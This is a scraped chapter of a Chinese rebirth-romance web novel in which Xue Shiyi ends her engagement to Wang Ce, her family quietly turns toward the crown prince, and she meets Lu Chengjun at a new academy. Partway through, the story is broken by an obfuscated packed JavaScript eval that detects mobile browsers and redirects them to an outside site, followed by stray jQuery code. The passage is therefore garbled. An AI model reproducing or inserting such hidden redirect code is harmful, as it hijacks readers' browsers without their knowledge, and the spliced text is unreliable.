玉佩为凭,两姓结喜。
薛时依还在娘胎里时,也正有孕的王家夫人主动上门拜访。王薛两家相约,将来腹中胎儿诞下时倘若是一女一男,便结为亲家。
日后只要两个孩子间没有嫌隙,这婚约就绝不会更改。
而恰好薛时依和王策两人自小就玩在一块儿,做了十余年的青梅竹马,情深义厚,对婚约毫无抵触。于是在薛时依及笄后,两家人也开始聚在一起着手准备成婚的事宜。
前世强行赐婚的圣旨下来前,王家请的媒人已踏过薛家的门槛,纳采礼也尽数搬来了。
所以,薛家女儿怎能嫁给陆成君呢?
一开始,薛家是想同王家一道进宫去皇帝面前说理。就算二皇子心存怨恨,铁了心想借圣上之手教训薛家,但赐婚圣旨有悖伦常,根本不占理。若是两家人齐心协力,说不准会有转机。
可是没想到王家却做了缩头乌龟。
从前的热络荡然无存了。家丁得了命令,公然关起门把薛时依拦在府外,避嫌意味再清楚不过了。
薛家夫妇叹了口气,告诉女儿情势所迫,怨不得人,然后便将纳采礼退了回去。
倘若当年之事就在此终结,薛时依想,她不会有怨言。
但是偏偏,她亲自退回纳采礼的第二日,王策提着大雁跟着父母去了忠勤伯府。
半月后,一架小轿静悄悄地把薛相女儿抬入陆家时,忠勤伯之女姜景桃风光大嫁,十里红妆,得意洋洋。
是王策娶了她。
忠勤伯是二皇子的人,他曾替二皇子来拉拢过薛家。而姜景桃更不必言说,薛时依与她见面时从没有过好脸色。
后来薛时依所受的奚落,一半是人们笑薛家卖弄清高反被清高误,一半是笑她白当了王策十几年的青梅。
她一一忍了。
决意跟着陆成君离京经商那日,城门口,姜景桃专程坐着华贵的鎏金安车里等。见了他们,她边啖荔枝边笑:
“夫君,你说怎么办呀?时依要是离了京,我连个知心人儿也没有了。”
“我可不像其他人。她们不跟商人妇来往,可时依在我心里依旧金贵得很。”
王策就坐在她身旁。他朝薛时依的方向深深地望了一眼,却什么也没说,只是对着递来的荔枝别开了脸。
这狗男女铁了心膈应人,薛时依心里怒火横起。但虎落平阳被犬欺的道理她清楚得很,所以只是咬了咬后槽牙,权当没听见。
甚至还有空佯装体面,一本正经地宽陆成君的心,“别理得志小人,我们快快赶路吧。”
男人闻言温和地笑了笑,颔首。他很体贴,什么都没说,却让薛时依突然忍不住泪意。
她连忙垂下头,藏起狼狈。
没料到的是下一刻。
陆成君神色是一贯不变的温润如玉,冷静从容。他面不改色地拿起长弓,对着鎏金安车套着的马儿射了一箭。
伴随着尖利的破空声,锋利的箭刃直直擦过马臀,划出一道血痕。马匹受惊地高扬起前蹄,发出长啸,不听使唤地狂奔起来!
“啊!”
鎏金安车上端坐的人大惊失色,“你们竟敢!”
姜景桃一扫先前的嚣张,慌张恐惧全都涌到脸上,紧紧拽着自己夫君尖叫。而王策手忙脚乱地起身制住马匹,再没有了先前的云淡风轻。
陆成君平静地放下箭。
他对着呆住的薛时依说:
“夫人,我们继续赶路吧。”
*
“小姐,现在怎么办?”
侍女为难地掀开帘子,露出外面骑着高头大马拦车的少年郎来。
王策昨天在正厅里大闹一场,哭得伤心至极,到现在眼睛还肿着,一见薛时依眼尾就又红了,可怜兮兮地喊:
“时依。”
她没说话,只是扫了一眼周围。
薛府坐落的城坊不是很繁荣,但也人来人往,此时已经有人在驻足观望,好奇这少爷小姐是在闹哪一出。
一股无名火蹿上心头,薛时依手上青筋跳了跳。
“王策,你发什么疯?”
少年愣了下,下意识想摇头,但又很快地点了点头,眼泪大颗大颗地落下。
“时依若再生我的气,我便真的要失心疯了。”
薛时依身上起了鸡皮疙瘩,不怒反笑。她看着他眼里不断涌出的泪珠,发觉自己还是很难把现在只有十五岁的王策同日后那个又软弱又狠心的人联系起来。
她真的不清楚自己的青梅竹马究竟是何时改变的。
他现在哭得这么凶,心里难道全是虚情假意吗?可是前世薛家出事后装陌生人是真,和姜景桃搅和在一起也是真。
“别哭了。”
“既然你这么想知道,那就到我府上说个清楚。”
*
到了薛府门前,王策从马背上翻身下来,将缰绳交给小厮,然后便大步踏到马车前。
他是想扶人的,但薛时依没有把手伸给他,自己轻巧地下了车。
王策眼里闪过失落,闷闷地跟在她身边。
“时依,我做错的地方我都改,你不要同我置气,不要解除婚约好不好?”
薛时依觉得好笑,垂下眼问他:“那你知道你错在哪里吗?”
少年被她看得脸发红,嘴唇张了又闭,哑口无言地摇头。
“我……还不知道,但是只要时依跟我说,我就改。”
“我肯定是有地方做错了,你才会不理我的。”
他的眼睛和话语里满是恳切,态度百依百顺,端正无比。薛时依突然想起来,其实他们做青梅竹马那十几年,王策一直都这样顺着她。
他把她的喜好全都记得很清楚,吵架的时候服软很快,她说的话他都听,错处改起来慢,但是也一直在努力。
薛时依曾经以为,虽然他们不会有什么刻骨铭心的过往,但是这样平平淡淡的日子才能长长久久,不是吗?
王家请的媒人上门前,某日,娘突然来了她的院子。薛夫人久违地亲手给自己女儿梳头,问她想好了没有,当真认定王策了吗?
“策儿这孩子心眼好,就是软弱了些,同甘很好,恐怕不能共苦。”
“若想反悔,还来得及的。”
薛时依笑,“娘,媒人都要上门了,怎么反悔呀?”
她说没事,她就定他了。她也不是很娇气,王策拿不好主意的事情她可以做主。他们俩家底都好,只要对彼此一心一意,纵然王策日后没有建树,他们的小日子也能过得很好。
可是后来的事情告诉薛时依,太平与安宁永远是暂时的,享受了京城的繁华得意,就要面对水面下数不尽的暗流与变化莫测。
她十六岁那年太子失踪,朝局大变,自己被迫嫁给陆成君。爹和哥哥也被贬官,记不得受到多少奚落与落井下石。
她二十六岁时,二皇子的血染红了整个金殿。太子穿上龙袍,陆成君变得一人之下万人之上,收拾起过往那些捧高踩低的世家时毫不手软,她一出门就能遇到磕头求情的昔日贵人。
不过一个十年,高楼尽毁又重铸。世事总是无常,难以预料,唯有人自强方能应对。
薛时依不再是那个昔日被王策拒见后痛哭的小姑娘,也不会随随便便心软了。现在的她,远比前世更从容自立。
她停下脚步,对着王策开口:
“不用进府了,我们在门口就能说清楚。”
顶着少年郎懵懂的眼光,她说:“退婚约不是赌气,只因为我们不能做夫妻。”
“往前十四年,你对我很好,我对你也很好。你小时候被人欺负,是我替你出头;读书时你功课不好,是我每日熬夜给你写出每道策论的解法;你学武功的师父是我大费周章请的,你的生辰、平日的习惯等等我都记得很清楚。”
“但是夫妻不是儿戏,要能同甘共苦,能一起担起责任。只是你担不起来,我也不能等你。
“我们好聚好散,以后莫要纠缠了。”
薛时依说完后,王策愣在原地,茫然地看着她,一句话都说不出来。
他听不懂。
她微微叹了口气,走进薛府,然后吩咐家丁,“关门罢。”
*
薛家要做太子党了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668181|173020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
近来坊间总提起此事来,但大多只是抓着些小事捕风捉影。
有人是不信的,“怎么可能?薛家向来与寒门学子一派,是朝中出了名的清流,怎会参与到皇子争权中?”
“怎么不可能!你知道这几日薛相和忠勤伯在早朝对骂了几次么?早前从不见他这般咄咄逼人的。”
“这,这未免太牵强了。”
“你别急,最近还出了另一桩事。薛家小女儿往年一直同寒门学子在白鹭书院念书,但今年却去了千山书院。”
“千山书院背后可是太子的母族,而且这贵女还正好解了婚约。薛家的意思还不明显吗?这是要太子妃位啊。”
“啊?”
任凭外人如何胡乱猜测,薛时依依旧岿然不动地去了千山书院读书。
此举意义其实很简单,确实是特意朝太子党递眼色。
薛家打算向太子投诚,但不能急于一时。毕竟薛氏家族庞大又有累世清名,牵一发而动全身,不好表现得太明显。
这决定是在与家人商议时父母作出的,薛时依惊讶之余,还有些担忧。说来惭愧,她虽多活了十几年又知晓世事变化,但在被赐婚给陆成君前,也只是个不关心朝中局势的高门贵女。
当初太子到底如何失踪的、朝中有哪些人与二皇子暗中勾结、薛家究竟何去何从等等问题,她不敢给最确切的答案,只能走一步算一步。
太子继位是十二年后的事了,中途波折不断。而薛家这么快就向太子投诚,会不会适得其反?
“尽人事,听天命。”
爹娘还未开口,哥哥就先说了此话。
“重活一世怎能预料到一切呢?不必太苛责自己。山雨欲来风满楼,薛家虽中立多年,可若眼下还一再犹豫,也很难有好下场。”
“当断不断,反受其乱。薛家往后是喜是忧,全系之你我,无论如何,尽力而为便好。”
尽力而为。因着这四个字,薛时依去了千山书院。
当朝贵女要在书院修读至及笄,这是约定俗成的传统。算起来,今年便是薛时依读书的最后一年了。
前世,太子失踪是在两年后。与陆成君成婚的十年里,他很少提及太子为何失踪,薛时依也没多问过。但如今是不得不想方设法查一查了。
与太子母族联系密切的千山书院是薛时依能接触到的最佳去处了。
“太好了,这下我竟还能阴差阳错地与你做一年同窗。”
书院开学这日,罗子慈拉着薛时依袖口,感动得眼泪汪汪。
“好时依,往后的功课可都靠你了。”
闻言,薛时依幽幽道:“靠我?我还想着靠你呢。”
谈起这个,她可真是头痛极了。
十四岁的薛相之女可能是学富五车,才高八斗的,但是现在这身子里是二十六岁的薛时依,历经了十年的走南闯北,现在的她打起算盘比背四书五经流利得多。
重生回来后,薛时依已经在连日苦读了,但就算底子还在,这功课一时半会儿也不能全盘掌握。她现在只希冀在千山书院不要表现得太丢脸才是。
罗子慈眼珠子一转便想清个中缘由,笑着推搡她往前走。
“那你大可放心,我肯定要给你垫底的,到时你倒二我倒一,也是一桩美事。”
“哈哈哈哈哈,好了好了,不说这些了。快跟我来,你可不知道这里的规矩,开学时必须去夫子那里录入花名册的。要是动作再慢些,等长队排起来了,可就有的等了!”
不过这是她多虑了。
薛时依怎么会不知道呢?在白鹭书院念书时,每年都是她给学子们录名的。多年前,薛家祖先为寒门学子而创办白鹭书院,代代子孙皆就读于此。身为薛家人,她必须费这个心思。只是一日下来,手臂写得酸胀不说,眼往往也看花了。
好在今年因着她要来千山书院,这苦差事就转给了她哥哥。
薛时依排队时还觉得有些稀奇,这还是第一次让别人给她录名呢。
但等到了夫子面前,她却又怔住了。
千山书院负责录名的夫子,为什么是陆成君?